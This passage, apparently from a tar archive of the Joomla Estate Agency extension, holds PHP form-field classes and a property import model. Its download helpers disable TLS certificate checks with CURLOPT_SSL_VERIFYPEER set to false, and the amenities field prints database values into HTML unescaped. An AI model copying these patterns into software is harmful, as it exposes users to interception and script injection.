'€');

		if ($symbol_place == 0)
		{
			return '<span class="input-prefix">' .
$currency_symbol . '</span> ' . $input;
		}

		return $input . ' <span class="input-suffix">'
. $currency_symbol . '</span>';
	}
}
models/fields/featurelist.php000064400000007656151165726440012366
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

/**
 * Form Field class for JEA.
 * Provides a list of features
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @see         JFormField
 *
 * @since       2.0
 */
class JFormFieldFeatureList extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var string
	 */
	public $type = 'featureList';

	/**
	 * Method to get the list of features.
	 *
	 * @return  string The field input markup.
	 *
	 * @see     JHtmlFeatures
	 */
	protected function getInput()
	{
		JHtml::addIncludePath(JPATH_ADMINISTRATOR .
'/components/com_jea/helpers/html');

		$subtype = (string) $this->element['subtype'];

		$params = array(
			'id' => $this->id,
			'class' => (string) $this->element['class']
		);

		if (isset($this->element['size']))
		{
			$params['size'] = (string)
$this->element['size'];
		}

		if (isset($this->element['multiple']))
		{
			$params['multiple'] = (string)
$this->element['multiple'];
		}

		if (isset($this->element['onchange']))
		{
			$params['onchange'] = (string)
$this->element['onchange'];
		}

		$group = null;

		switch ($this->form->getName())
		{
			case 'com_menus.item':
				$group = 'params';
				break;
			case 'com_jea.properties.filter':
			case 'com_jea.featurelist.filter':
				$group = 'filter';
				break;
		}

		// Verify if some fields have relashionship
		$hasRelationShip = $this->_hasRelationShip();

		switch ($subtype)
		{
			case 'departments':

				if ($hasRelationShip)
				{
					$this->_ajaxUpdateList('department_id',
'town_id', 'get_towns');
				}

				break;
			case 'towns':

				if ($hasRelationShip)
				{
					$this->_ajaxUpdateList('town_id', 'area_id',
'get_areas');

					return JHtml::_('features.towns', $this->value,
$this->name, $params,
$this->form->getValue('department_id', $group, null));
				}

			case 'areas':

				if ($hasRelationShip)
				{
					return JHtml::_('features.areas', $this->value,
$this->name, $params, $this->form->getValue('town_id',
$group, null));
				}
		}

		return JHtml::_('features.' . $subtype, $this->value,
$this->name, $params);
	}

	/**
	 * Verify relationship component parameter
	 *
	 * @return  boolean
	 */
	private function _hasRelationShip()
	{
		if (isset($this->element['norelation']))
		{
			return false;
		}

		$params = JComponentHelper::getParams('com_jea');

		return (bool) $params->get('relationship_dpts_towns_area',
1);
	}

	/**
	 * Add AJAX behavior
	 *
	 * @param   string  $fromId  The Element ID where the event come from
	 * @param   string  $toId    The target Element ID
	 * @param   string  $task    The AJAX controller task
	 *
	 * @return  void
	 */
	private function _ajaxUpdateList($fromId, $toId, $task)
	{
		if (isset($this->element['noajax']))
		{
			return;
		}

		if ($this->form->getName() == 'com_menus.item')
		{
			$fieldTo = $this->form->getField('filter_' . $toId,
'params');
		}
		else
		{
			$fieldTo = $this->form->getField($toId);
		}

		if (! empty($fieldTo->id))
		{
			JFactory::getDocument()->addScriptDeclaration(
				"
jQuery(document).ready(function($) {
	$('#{$this->id}').change(function(e) {
		$.ajax({
			dataType: 'json',
			url: 'index.php',
			data:
'option=com_jea&format=json&task=features.{$task}&{$fromId}='
+ this.value,
			success: function(response) {
				var first = $('#{$fieldTo->id} option').first().clone();
				$('#{$fieldTo->id}').empty().append(first);
				if (response.length) {
					$.each(response, function( idx, item ){
						$('#{$fieldTo->id}').append($('<option></option>').text(item.value).attr('value',
item.id));
					});
				}
				$('#{$fieldTo->id}').trigger('liszt:updated.chosen');
// Update jQuery choosen
			}
		});
	});
});
				"
			);
		}
	}
}
models/fields/gallery.php000064400000005314151165726440011463
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

use Joomla\CMS\Image\Image;

/**
 * Form Field class for JEA.
 * Provides a complete widget to manage a gallery
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @see         JFormField
 *
 * @since       2.0
 */
class JFormFieldGallery extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var string
	 */
	protected $type = 'Gallery';

	/**
	 * Method to get the list of input[type="file"]
	 *
	 * @return string The field input markup.
	 */
	protected function getInput()
	{
		$params = JComponentHelper::getParams('com_jea');

		if (is_string($this->value))
		{
			$images = (array) json_decode($this->value);
		}
		else
		{
			$images = (array) $this->value;

			foreach ($images as $k => $image)
			{
				$images[$k] = (object) $image;
			}
		}

		$propertyId = $this->form->getValue('id');

		$baseURL = JUri::root(true);
		$imgBaseURL = $baseURL . '/images/com_jea/images/' .
$propertyId;
		$imgBasePath = JPATH_ROOT . '/images/com_jea/images/' .
$propertyId;

		foreach ($images as $k => &$image)
		{
			$imgPath = $imgBasePath . '/' . $image->name;

			try
			{
				$infos = Image::getImageFileProperties($imgPath);
			}
			catch (Exception $e)
			{
				$image->error = 'Recorded Image ' . $image->name .
' cannot be accessed';
				continue;
			}

			$thumbName = 'thumb-admin-' . $image->name;

			// Create the thumbnail
			if (!file_exists($imgBasePath . '/' . $thumbName))
			{
				try
				{
					// This is where the JImage will be used, so only create it here
					$JImage = new JImage($imgPath);
					$thumb = $JImage->resize(150, 90);
					$thumb->crop(150, 90, 0, 0);
					$thumb->toFile($imgBasePath . '/' . $thumbName);

					// To avoid memory overconsumption, destroy the JImage. We don't
need it anymore
					$JImage->destroy();
					$thumb->destroy();
				}
				catch (Exception $e)
				{
					$image->error = 'Thumbnail for ' . $image->name .
' cannot be generated';
					continue;
				}
			}

			$image->thumbUrl = $imgBaseURL . '/' . $thumbName;
			$image->url = $imgBaseURL . '/' . $image->name;

			// Kbytes
			$image->weight = round($infos->bits / 1024, 1);
			$image->height = $infos->height;
			$image->width = $infos->width;
		}

		$layoutModel = array (
			'uploadNumber' =>
$params->get('img_upload_number', 3),
			'images' => $images,
			'name' => $this->name,
		);

		return JLayoutHelper::render('jea.fields.gallery',
$layoutModel);
	}
}
models/fields/amenities.php000064400000004771151165726440012010
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

/**
 * Form Field class for JEA.
 * Displays amenities as a list of check boxes.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @see         JFormField
 *
 * @since       2.0
 */
class JFormFieldAmenities extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var string
	 */
	protected $type = 'Amenities';

	/**
	 * Flag to tell the field to always be in multiple values mode.
	 *
	 * @var boolean
	 */
	protected $forceMultiple = true;

	/**
	 * Method to get the field input markup for check boxes.
	 *
	 * @return string The field input markup.
	 */
	protected function getInput()
	{
		$options = $this->getOptions();
		$output = '<ul id="amenities">';

		if (! empty($this->value))
		{
			// Preformat data if comes from db
			if (! is_array($this->value))
			{
				$this->value = explode('-', $this->value);
			}
		}
		else
		{
			$this->value = array();
		}

		foreach ($options as $k => $row)
		{
			$checked = '';
			$class = '';

			if (in_array($row->id, $this->value))
			{
				$checked = 'checked="checked"';
				$class = 'active';
			}

			$title = '';
			$label = JHtml::_('string.truncate', $row->value, 23,
false, false);

			if ($row->value != $label)
			{
				$title = ' title="' . $row->value .
'"';
			}

			$output .= '<li class="amenity ' . $class .
'">';

			$output .= '<input class="am-input"
type="checkbox" name="' . $this->name .
'"'
					. ' id="' . $this->id . $k . '"
value="' . $row->id . '" ' . $checked . '
/>'
					. '<label class="am-title" for="' .
$this->id . $k . '" ' . $title . '>' .
$label . '</label>';

			$output .= '</li>';
		}

		$output .= '</ul>';

		return $output;
	}

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 */
	protected function getOptions()
	{
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);

		$query->select('f.id , f.value');
		$query->from('#__jea_amenities AS f');

		if (JFactory::getApplication()->isClient('site'))
		{
			$query->where('f.language in (' .
$db->quote(JFactory::getLanguage()->getTag()) . ',' .
$db->quote('*') . ')');
		}

		$query->order('f.value ASC');
		$db->setQuery($query);

		return $db->loadObjectList();
	}
}
models/fields/surface.php000064400000002063151165726450011453
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

/**
 * Form Field class for JEA.
 * Provides a one line text field with the surface symbol
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @see         JFormFieldText
 *
 * @since       2.0
 */
class JFormFieldSurface extends JFormFieldText
{
	/**
	 * The form field type.
	 *
	 * @var string
	 */
	protected $type = 'Surface';

	/**
	 * Method to get the field input markup.
	 *
	 * @return string The field input markup.
	 */
	protected function getInput()
	{
		$input = parent::getInput();
		$params = JComponentHelper::getParams('com_jea');
		$surface_measure = $params->get('surface_measure',
'm²');

		return $input . ' <span class="input-suffix">'
. $surface_measure . '</span>';
	}
}
models/fields/gatewayproviderlist.php000064400000005515151165726450014140
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

use Joomla\CMS\Filesystem\Folder;

JFormHelper::loadFieldClass('list');

/**
 * Supports an HTML select list of gateway providers
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @see         JFormFieldList
 *
 * @since       2.0
 */
class JFormFieldGatewayProviderList extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var string
	 */
	protected $type = 'GatewayProviderList';

	/**
	 * The provider type (import or export).
	 *
	 * @var string
	 */
	protected $providerType = '';

	/**
	 * Overrides parent method.
	 *
	 * @param   string  $name  The property name for which to the the value.
	 *
	 * @return  mixed  The property value or null.
	 *
	 * @see JFormField::__get()
	 */
	public function __get($name)
	{
		if ($name == 'providerType')
		{
			return $this->$name;
		}

		return parent::__get($name);
	}

	/**
	 * Overrides parent method.
	 *
	 * @param   string  $name   The property name for which to the the value.
	 * @param   mixed   $value  The value of the property.
	 *
	 * @return  void
	 *
	 * @see JFormField::__set()
	 */
	public function __set($name, $value)
	{
		if ($name == 'providerType')
		{
			$this->$name = (string) $value;
		}

		parent::__set($name, $value);
	}

	/**
	 * Overrides parent method.
	 *
	 * @param   SimpleXMLElement  $element  The SimpleXMLElement object
representing the `<field>` tag for the form field object.
	 * @param   mixed             $value    The form field value to validate.
	 * @param   string            $group    The field name group control
value.
	 *
	 * @return  boolean  True on success.
	 *
	 * @see JFormField::setup()
	 */
	public function setup(SimpleXMLElement $element, $value, $group = null)
	{
		$return = parent::setup($element, $value, $group);

		if ($return)
		{
			$this->providerType = (string)
$this->element['provider_type'];
		}

		return $return;
	}

	/**
	 * Overrides parent method.
	 *
	 * @return  array  The field option objects.
	 *
	 * @see JFormFieldList::getOptions()
	 */
	protected function getOptions()
	{
		$options = array();

		$path = JPATH_ADMINISTRATOR .
'/components/com_jea/gateways/providers';

		$folders = Folder::folders($path);

		$options[] = JHtml::_('select.option', '',
JText::alt('JOPTION_DO_NOT_USE',
preg_replace('/[^a-zA-Z0-9_\-]/', '_',
$this->fieldname)));

		foreach ($folders as $folder)
		{
			if (file_exists($path . '/' . $folder . '/' .
$this->providerType . '.xml'))
			{
				$options[] = JHtml::_('select.option', $folder, $folder);
			}
		}

		return $options;
	}
}
models/fields/geolocalization.php000064400000015714151165726450013215
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

/**
 * Form Field class for JEA.
 * Displays button to geolocalize coordinates with a map.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @see         JFormField
 *
 * @since       2.0
 */
class JFormFieldGeolocalization extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var string
	 *
	 */
	protected $type = 'Geolocalization';

	/**
	 * Method to get the button to geolocalize coordinates with a map.
	 *
	 * @return string The field input markup.
	 */
	protected function getInput()
	{
		$params = JComponentHelper::getParams('com_jea');
		$ouptut = '';

		// TODO : use JLayout
		$ouptut = '<div class="button2-left">' .
"\n" .
				'<div class="blank"><a class="modal btn
btn-info" href="#map-box-content"' .
				' rel="{handler: \'clone\', size: {x: 800, y: 500},
onOpen:initBoxContent, onClose:closeBoxContent }">' .
				JText::_('COM_JEA_MAP_OPEN') .
'</a></div>' . "\n" .
'</div>' . "\n" .
				'<div id="map-box-content"
class="map-box-content" style="display:none">'
. "\n" . JText::_('COM_JEA_FIELD_LATITUDE_LABEL') .
				' : <input type="text" readonly="readonly"
class="readonly input-latitude" value="" />' .
JText::_('COM_JEA_FIELD_LONGITUDE_LABEL') .
				' : <input type="text" readonly="readonly"
class="readonly input-longitude" value="" />' .
				'<div class="map-box-container" style="width:
100%; height: 480px"></div>' . "\n" .
'</div>' . "\n";

		// Load the modal behavior script.
		JHtml::_('behavior.modal');

		$document = JFactory::getDocument();
		$langs = explode('-', $document->getLanguage());

		$lang = $langs[0];
		$region = $langs[1];
		$fieldDepartment =
$this->form->getField('department_id');
		$fieldTown = $this->form->getField('town_id');
		$fieldAddress = $this->form->getField('address');
		$fieldLongitude = $this->form->getField('longitude');
		$fieldLatitude = $this->form->getField('latitude');
		$markerLabel =
addslashes(JText::_('COM_JEA_MAP_MARKER_LABEL'));

		JFactory::getDocument()->addScriptDeclaration(
			"
            function initBoxContent(elementContent) {
                var latitude =
document.id('{$fieldLatitude->id}').value;
                var longitude =
document.id('{$fieldLongitude->id}').value;
                var address =
document.id('{$fieldAddress->id}').value;
                var town =
document.id('{$fieldTown->id}').getSelected().pick();
                var department =
document.id('{$fieldDepartment->id}').getSelected().pick();
                var zoom = 6;
                var request = '{$lang}';

                if (address && town &&
town.get('value') > 0){
                    zoom = 16;
                    request = address + ', ' +
town.get('text') + ', {$lang}';
                } else if (town && town.get('value') >
0){
                    zoom = 13;
                    request = town.get('text') + ',
{$lang}';
                } else if (department &&
department.get('value') > 0) {
                    zoom = 8;
                    request = department.get('text') + ',
{$lang}';
                }

                var inputLatitude  =
elementContent.getElement('.input-latitude');
                var inputLongitude =
elementContent.getElement('.input-longitude');
                var mapContainer   =
elementContent.getElement('.map-box-container');

                var initMap = function(myLatlng) {
                    inputLongitude.set('value', myLatlng.lng());
                    inputLatitude.set('value', myLatlng.lat());

                    var options = {
                      zoom : zoom,
                      center : myLatlng,
                      mapTypeId : google.maps.MapTypeId.ROADMAP
                    };

                    var map = new google.maps.Map(mapContainer, options);

                    var marker = new google.maps.Marker({
                        position: myLatlng,
                        map: map,
                        title: '{$markerLabel}',
                        draggable: true,
                        cursor: 'move'
                    });

                    google.maps.event.addListener(marker,
'dragend', function(mouseEvent) {
                        inputLongitude.setProperty('value',
mouseEvent.latLng.lng());
                        inputLatitude.setProperty('value',
mouseEvent.latLng.lat());
                    });
                };

               
elementContent.getElement('.map-box-content').setStyle('display',
'block');

                if (longitude != 0 && latitude != 0) {
                    var myLatlng = new
google.maps.LatLng(latitude,longitude);
                    initMap(myLatlng);
                } else {
                    var geocoder = new google.maps.Geocoder();
                    var opts = {'address':request,
'language':'{$lang}',
'region':'{$region}'};
                    var retry = 0;
                    var geocodeCallBack = function(results, status) {
                        if (status == google.maps.GeocoderStatus.OK) {
                            var myLatlng = results[0].geometry.location;
                            initMap(myLatlng);
                        } else if (status ==
google.maps.GeocoderStatus.ZERO_RESULTS && retry < 3 ) {
                            if (town && town.get('value')
> 0 && retry == 0) {
                                // retry with town
                                zoom = 13;
                                request = town.get('text') +
', {$lang}';
                            } else if (department &&
department.get('value') > 0 && retry == 1) {
                                // retry with department
                                zoom = 8;
                                request = department.get('text')
+ ', {$lang}';
                            } else {
                                zoom = 6;
                                request = '{$lang}';
                            }
                            var opts = {'address':request,
'language':'{$lang}',
'region':'{$region}'};
                            geocoder.geocode(opts, geocodeCallBack);
                            retry++;
                        }
                    };
                    geocoder.geocode(opts, geocodeCallBack);
                }
            }

            function closeBoxContent(elementContent)
            {
               
document.id('{$fieldLatitude->id}').set('value',
elementContent.getElement('.input-latitude').value);
               
document.id('{$fieldLongitude->id}').set('value',
elementContent.getElement('.input-longitude').value);
            }"
		);

		JFactory::getDocument()->addScript(
			'https://maps.google.com/maps/api/js?key=' .
$params->get('googlemap_api_key') .
'&amp;language=' . $lang . '&amp;region=' .
$region
		);

		return $ouptut;
	}
}
models/propertyInterface.php000064400000040644151165726450012271
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\User\User;
use Joomla\CMS\Mail\MailHelper;
use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Filesystem\Folder;

require_once JPATH_COMPONENT_ADMINISTRATOR .
'/tables/property.php';

/**
 * JEAPropertyInterface model class.
 *
 * This class provides an interface between JEA data and third party
bridges
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @since       2.0
 */
class JEAPropertyInterface extends JObject
{
	// These public members concern the interface
	public $ref = '';

	public $title = '';

	public $type = '';

	public $transaction_type = '';

	/**
	 * Renting or selling price
	 *
	 * @var string
	 */
	public $price = '';

	public $address = '';

	public $town = '';

	public $area = '';

	public $zip_code = '';

	public $department = '';

	public $condition = '';

	public $living_space = '';

	public $land_space = '';

	public $rooms = '';

	public $bedrooms = '';

	public $charges = '';

	public $fees = '';

	public $deposit = '';

	public $hot_water_type = '';

	public $heating_type = '';

	public $bathrooms = '';

	public $toilets = '';

	public $availability = '';

	public $floor = 0;

	public $floors_number = 0;

	public $orientation = '0';

	public $amenities = array();

	public $description = '';

	public $author_name = '';

	public $author_email = '';

	public $latitude = 0;

	public $longitude = 0;

	/**
	 * Timestamp
	 *
	 * @var integer
	 */
	public $created = 0;

	/**
	 * Timestamp
	 *
	 * @var integer
	 */
	public $modified = 0;

	public $images = array();

	public $language = '*';

	/**
	 *  A callback which replace the default implementation to save images.
	 *  This should be a function or a method but not a closure because
	 *  this object needs to be serialised and closures can't be
serialized
	 *
	 * @var string|array
	 */
	public $saveImagesCallback = null;

	/**
	 * Fields which are not in the standard JEA interface
	 *
	 * @var array
	 */
	protected $additionnalsFields = array();

	/**
	 * The users array from Joomla
	 *
	 * @var array
	 */
	protected static $users = null;

	/**
	 * The tables data array from JEA
	 *
	 * @var array
	 */
	protected static $tables = null;

	/**
	 * The features data array from JEA
	 *
	 * @var array
	 */
	protected static $features = array();

	/**
	 * Convert Interface data to JEA data
	 *
	 * @return  array representing a JEA propery row
	 */
	protected function toJEAData()
	{
		$data = array(
			'ref' => $this->ref,
			'title' => $this->title,
			'type_id' => self::getFeatureId('types',
$this->type, $this->language),
			'price' => floatval($this->price),
			'address' => $this->address,
			'department_id' =>
self::getFeatureId('departments', $this->department),
			'zip_code' => $this->zip_code,
			'condition_id' =>
self::getFeatureId('conditions', $this->condition,
$this->language),
			'living_space' => floatval($this->living_space),
			'land_space' => floatval($this->land_space),
			'rooms' => intval($this->rooms),
			'bedrooms' => intval($this->bedrooms),
			'charges' => floatval($this->charges),
			'fees' => floatval($this->fees),
			'deposit' => floatval($this->deposit),
			'hot_water_type' =>
self::getFeatureId('hotwatertypes', $this->hot_water_type,
$this->language),
			'heating_type' =>
self::getFeatureId('heatingtypes', $this->heating_type,
$this->language),
			'bathrooms' => intval($this->bathrooms),
			'toilets' => intval($this->toilets),
			'availability' =>
$this->_convertTimestampToMysqlDate($this->availability, false),
			'floor' => intval($this->floor),
			'floors_number' => (int) $this->floors_number,
			'orientation' => $this->orientation,
			'description' => $this->description,
			'published' => 1,
			'created' =>
$this->_convertTimestampToMysqlDate($this->created),
			'modified' =>
$this->_convertTimestampToMysqlDate($this->modified),
			'created_by' => self::getUserId($this->author_email,
$this->author_name),
			'latitude' => floatval($this->latitude),
			'longitude' => floatval($this->longitude),
			'language' => $this->language
		);

		$this->transaction_type = strtoupper($this->transaction_type);

		if ($this->transaction_type == 'RENTING' ||
$this->transaction_type == 'SELLING')
		{
			$data['transaction_type'] = $this->transaction_type;
		}
		else
		{
			$data['transaction_type'] = '0';
		}

		$data['town_id'] = self::getFeatureId('towns',
$this->town, null, $data['department_id']);
		$data['area_id'] = self::getFeatureId('areas',
$this->area, null, $data['town_id']);

		$orientations =
array('0','N','NE','NW','NS','E','EW','W','SW','SE');

		$orientation = strtoupper($this->orientation);

		if (in_array($orientation, $orientations))
		{
			$data['orientation'] = $orientation;
		}
		else
		{
			$data['orientation'] = 'O';
		}

		if (is_array($this->amenities))
		{
			$data['amenities'] = array();

			foreach ($this->amenities as $value)
			{
				$data['amenities'][] =
self::getFeatureId('amenities', $value, $this->language);
			}
		}

		$validExtensions = array('jpg', 'JPG',
'jpeg', 'JPEG', 'gif', 'GIF',
'png', 'PNG');
		$data['images'] = array();

		foreach ($this->images as $image)
		{
			if (substr($image, 0, 4) == 'http')
			{
				$uri = new \Joomla\Uri\Uri($image);
				$image = $uri->getPath();
			}

			$image = basename($image);

			if (! empty($image))
			{
				if (in_array(File::getExt($image), $validExtensions))
				{
					$img = new stdClass;
					$img->name = $image;
					$img->title = '';
					$img->description = '';
					$data['images'][] = $img;
				}
			}
		}

		return $data;
	}

	/**
	 * Add a custom field to the interface
	 *
	 * @param   string  $fieldName  The custom field name
	 * @param   string  $value      The custom field value
	 *
	 * @return  void
	 */
	public function addAdditionalField($fieldName = '', $value =
'')
	{
		$this->additionnalsFields[$fieldName] = $value;
	}

	/**
	 * Save the property
	 *
	 * @param   string   $provider   A provider name
	 * @param   number   $id         The property id
	 * @param   boolean  $forceUTF8  To force string to be converted into
UTF-8
	 *
	 * @return  boolean return true if property was saved
	 */
	public function save($provider = '', $id = 0, $forceUTF8 =
false)
	{
		$db = JFactory::getDbo();
		$property = new TableProperty($db);
		$isNew = true;
		$dispatcher = JDispatcher::getInstance();

		// Include the jea plugins for the on save events.
		JPluginHelper::importPlugin('jea');

		if (! empty($id))
		{
			$property->load($id);
			$isNew = false;
		}

		// Prepare data
		$data = $this->toJEAData();

		foreach ($this->additionnalsFields as $fieldName => $value)
		{
			$data[$fieldName] = $value;
		}

		if (! empty($provider))
		{
			$data['provider'] = $provider;
		}

		if ($forceUTF8)
		{
			foreach ($data as $k => $v)
			{
				switch ($k)
				{
					case 'title':
					case 'description':
					case 'address':
						$data[$k] = utf8_encode($v);
				}
			}
		}

		$property->bind($data);
		$property->check();

		// Check override created_by
		if (! empty($data['created_by']))
		{
			$property->created_by = $data['created_by'];
		}

		// Trigger the onContentBeforeSave event.
		$result = $dispatcher->trigger('onBeforeSaveProperty',
array('com_jea.propertyInterface', &$property, $isNew));

		if (in_array(false, $result, true))
		{
			$this->_errors = $property->getError();

			return false;
		}

		$property->store();

		// Trigger the onContentAfterSave event.
		$dispatcher->trigger('onAfterSaveProperty',
array('com_jea.propertyInterface', &$property, $isNew));

		$errors = $property->getErrors();

		if (! empty($errors))
		{
			$this->_errors = $errors;

			return false;
		}

		// Save images
		if (!empty($this->images) && $this->saveImagesCallback ===
null)
		{
			$imgDir = JPATH_ROOT . '/images/com_jea/images/' .
$property->id;

			if (!Folder::exists($imgDir))
			{
				Folder::create($imgDir);
			}

			$validExtensions = array('jpg', 'JPG',
'jpeg', 'JPEG', 'gif', 'GIF',
'png', 'PNG');

			foreach ($this->images as $image)
			{
				$basename = basename($image);

				if (substr($image, 0, 4) == 'http')
				{
					$uri = new \Joomla\Uri\Uri($image);
					$basename = basename($uri->getPath());
				}

				if (!in_array(File::getExt($basename), $validExtensions))
				{
					// Not a valid Extension
					continue;
				}

				if (substr($image, 0, 4) != 'http' &&
file_exists($image))
				{
					File::copy($image, $imgDir . '/' . $basename);
				}

				if (substr($image, 0, 4) == 'http')
				{
					if (File::exists($imgDir . '/' . $basename))
					{
						$localtime  = $this->getLastModified($imgDir . '/' .
$basename);
						$remotetime = $this->getLastModified($image);

						if ($remotetime <= $localtime)
						{
							JLog::add(
								sprintf(
									"File %s is up to date. [local time: %u - remote time:
%u]",
									$imgDir . '/' . $basename,
									$localtime,
									$remotetime
								),
								JLog::DEBUG,
								'jea'
							);

							continue;
						}
					}

					$this->downloadImage($image, $imgDir . '/' . $basename);
				}
			}
		}
		elseif (!empty($this->images) &&
is_callable($this->saveImagesCallback))
		{
			call_user_func_array($this->saveImagesCallback,
array($this->images, $property));
		}

		return true;
	}

	/**
	 * Download an image
	 *
	 * @param   string  $url   The image URL
	 * @param   string  $dest  The destination directory
	 *
	 * @return  boolean
	 */
	protected function downloadImage($url = '', $dest =
'')
	{
		JLog::add("Download Image : $url", JLog::DEBUG,
'jea');

		if (empty($url) || empty($dest))
		{
			return false;
		}

		$buffer = '';
		$allow_url_fopen = (bool) ini_get('allow_url_fopen');

		if ($allow_url_fopen)
		{
			$buffer = file_get_contents($url);
		}
		elseif (function_exists('curl_init'))
		{
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $url);

			// Don't check SSL certificate
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
			curl_setopt($ch, CURLOPT_HEADER, false);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
			$buffer = curl_exec($ch);
			curl_close($ch);
		}

		return File::write($dest, $buffer);
	}

	/**
	 * Get Last modified time as Unix timestamp
	 *
	 * @param   string  $file  A local or remote file
	 *
	 * @throws  RuntimeException
	 * @return  integer Unix timestamp
	 */
	public function getLastModified($file)
	{
		if (substr($file, 0, 4) != 'http' &&
file_exists($file))
		{
			$stat = stat($file);

			return $stat['mtime'];
		}

		$allow_url_fopen = (bool) ini_get('allow_url_fopen');
		$headers = array();

		if ($allow_url_fopen)
		{
			$headers = get_headers($file);
		}
		elseif (function_exists('curl_init'))
		{
			$curl = curl_init();
			curl_setopt($curl, CURLOPT_URL, $file);

			// Don't check SSL certificate
			curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
			curl_setopt($curl, CURLOPT_FILETIME, true);
			curl_setopt($curl, CURLOPT_NOBODY, true);
			curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
			curl_setopt($curl, CURLOPT_HEADER, true);
			$out = curl_exec($curl);
			curl_close($curl);
			$headers = explode("\n", $out);
		}

		if (empty($headers))
		{
			throw new RuntimeException("Cannot get HTTP headers for
$file");
		}

		foreach ($headers as $header)
		{
			if (strpos($header, 'Last-Modified') !== false)
			{
				$matches = array();

				if (preg_match('/:\s?(.*)$/m', $header, $matches) !== false)
				{
					$matches[1];
					JLog::add(sprintf("Last-Modified: %s - Time: %u",
$matches[1], strtotime($matches[1])), JLog::DEBUG, 'jea');

					return strtotime($matches[1]);
				}
			}
		}

		return 0;
	}

	/**
	 * Get Feature id related to its value
	 *
	 * @param   string   $tableName   The feature table name
	 * @param   string   $fieldValue  The value to store
	 * @param   string   $language    The language code
	 * @param   integer  $parentId    An optional parent id
	 *
	 * @return  integer
	 */
	public static function getFeatureId($tableName = '', $fieldValue
= '', $language = null, $parentId = 0)
	{
		$fieldValue = trim($fieldValue);
		$id = 0;
		$r = self::_getJeaRowIfExists($tableName, 'value',
$fieldValue);

		static $tablesOrdering = array();

		if ($r === false && ! empty($fieldValue) && !
isset(self::$features[$tableName][$fieldValue]))
		{
			$db = JFactory::getDbo();

			if (! isset($tablesOrdering[$tableName]))
			{
				$db->setQuery('SELECT MAX(ordering) FROM #__jea_' .
$tableName);
				$tablesOrdering[$tableName] = intval($db->loadResult());
			}

			$maxord = $tablesOrdering[$tableName] += 1;
			$query = $db->getQuery(true);
			$query->insert('#__jea_' . $tableName);

			$columns = array('value', 'ordering');

			$values = $db->quote($fieldValue) . ',' . $maxord;

			if ($tableName == 'towns')
			{
				$columns[] = 'department_id';
				$values .= ',' . (int) $parentId;
			}
			elseif ($tableName == 'areas')
			{
				$columns[] = 'town_id';
				$values .= ',' . (int) $parentId;
			}

			if ($language != null)
			{
				$columns[] = 'language';
				$values .= ',' . $query->q($language);
			}

			$query->columns($columns);
			$query->values($values);
			$db->setQuery($query);
			$db->query();
			$id = $db->insertid();

			self::$features[$tableName][$fieldValue] = $id;
		}
		elseif (isset(self::$features[$tableName][$fieldValue]))
		{
			$id = self::$features[$tableName][$fieldValue];
		}
		elseif (is_object($r))
		{
			$id = $r->id;
		}

		return $id;
	}

	/**
	 * Return a feature row if already extis in the database
	 *
	 * @param   string  $tableName   The feature table name
	 * @param   string  $fieldName   The feature field name
	 * @param   string  $fieldValue  The feature field value
	 *
	 * @return  boolean|object The feature row object or false if feature not
found
	 */
	protected static function _getJeaRowIfExists($tableName = '',
